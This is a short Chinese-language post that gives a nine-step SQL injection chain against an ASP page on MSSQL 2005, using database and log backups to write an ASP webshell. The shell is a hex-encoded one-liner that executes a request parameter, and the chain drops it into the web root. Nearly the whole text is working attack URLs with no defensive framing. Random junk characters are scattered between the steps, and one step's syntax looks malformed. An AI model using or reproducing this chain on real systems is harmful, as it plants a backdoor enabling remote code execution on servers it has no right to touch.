Mssql2005 Log备份Webshell

admin

第一步
: Z5 e% }6 D/ q; whttp://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--
4 o, ]4 x# Y& I3 g
. S2 r' d* |5 T! h7 ?* v第二步：
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第三步
! O1 k7 Z3 h! u# [5 m4 u. xhttp://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
  a% r2 O7 ]3 r. F( k8 V" Q5 k
第四步
/ E6 V4 @& [3 N9 M9 I* `http://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--

第五步
" @1 }, W) L( O) F2 j+ yhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

" Q: e  Q1 W; p; f! K$ }第六步
! X. K7 }+ ~+ yhttp://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--

9 A( p& j# s! D  u6 s第七步
9 ~  m, ^8 H; s& ~, Ohttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第八步
* j- h& A  j. Mhttp://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--

  L2 M7 n6 E0 E8 Q! \" [, B第九步
3 S! v, z, J0 \2 Bhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--